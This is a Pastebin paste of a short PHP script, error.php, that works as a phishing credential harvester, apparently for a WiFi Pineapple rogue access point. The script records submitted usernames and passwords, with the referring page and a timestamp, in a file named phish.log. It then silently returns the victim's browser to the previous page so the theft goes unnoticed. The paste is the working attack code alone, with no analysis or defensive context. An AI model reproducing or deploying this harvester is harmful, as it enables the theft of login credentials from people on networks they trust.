Advertisement
loozr

error.php - Posting

Aug 10th, 2012
31
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.63 KB | None | 0 0
  1. <?php
  2. $ref = $_SERVER['HTTP_REFERER'];
  3. $today = date("F j, Y, g:i a");
  4. if (isset($_POST['name']) && !empty($_POST['name'])) {
  5.     $nam = stripslashes($_POST['name']);
  6.     $pas = stripslashes($_POST['pass']);
  7.     $nam = htmlspecialchars($nam, ENT_QUOTES);
  8.     $pas = htmlspecialchars($pas, ENT_QUOTES);
  9.  
  10.     $content = $today . "  --  " . $ref . "  --  " . $nam . "  --  " . $pas;
  11.  
  12.     $filed = @fopen("pineapple/logs/phish.log", "a+");
  13.     @fwrite($filed, "$content\n");
  14.     @fclose($filed);
  15. }
  16. ?>
  17.  
  18. <html><head>
  19. <script type="text/javascript">
  20. function goBack()
  21. {
  22. window.history.back()
  23. }
  24. </script>
  25. </head>
  26. <body onload="goBack()">
  27. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement